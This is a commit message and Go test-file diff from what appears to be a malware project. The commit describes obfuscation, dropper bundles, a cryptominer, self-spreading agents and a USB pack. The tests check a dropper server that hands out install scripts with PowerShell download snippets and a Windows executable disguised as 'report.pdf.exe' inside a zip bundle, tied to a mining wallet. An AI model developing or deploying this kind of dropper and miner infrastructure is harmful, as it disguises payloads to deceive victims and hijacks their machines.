fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/api/dropper_handler_test.go

@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
 		t.Fatal(err)
 	}
 	t.Cleanup(func() { _ = database.Close() })
-	return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
+	return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
 }
 
 func TestDetectPlatformQueryParam(t *testing.T) {
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
 }
 
 func TestDropperResolveBaseFromRequest(t *testing.T) {
-	h := NewDropperHandler(nil, nil)
+	h := NewDropperHandler(nil, "", nil)
 	req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
 	req.Host = "deck.local:8989"
 	req.Header.Set("X-Forwarded-Host", "proxy.example.com")
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
 	}
 }
 
+func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
+	h, database, dataDir := newTestDropperHandler(t)
+	buildID := "fusion-bundle"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	launcherPath := filepath.Join(buildDir, "report.pdf.exe")
+	bundlePath := filepath.Join(buildDir, "report-package.zip")
+	if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	bundleContent := []byte("zip-bundle-with-payload")
+	if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+		FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
+		CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
+	rec := httptest.NewRecorder()
+	h.ServeGet(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != string(bundleContent) {
+		t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
+		t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
+func TestResolveDropperArtifact(t *testing.T) {
+	dataDir := t.TempDir()
+	buildID := "bid"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	bundle := filepath.Join(buildDir, "kit.zip")
+	if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	b := &models.BuildRecord{
+		ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
+	}
+	path, name := resolveDropperArtifact(dataDir, b)
+	if path != bundle || name != "kit.zip" {
+		t.Fatalf("artifact resolve: path=%q name=%q", path, name)
+	}
+}
+
 func TestDropperServePs1Content(t *testing.T) {
 	h, _, _ := newTestDropperHandler(t)
 	req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
 	if !strings.Contains(rec.Body.String(), "DownloadFile") {
 		t.Fatal("expected PowerShell download snippet")
 	}
+	if !strings.Contains(rec.Body.String(), "start.bat") {
+		t.Fatal("expected lowercase start.bat in PS1 launcher list")
+	}
 }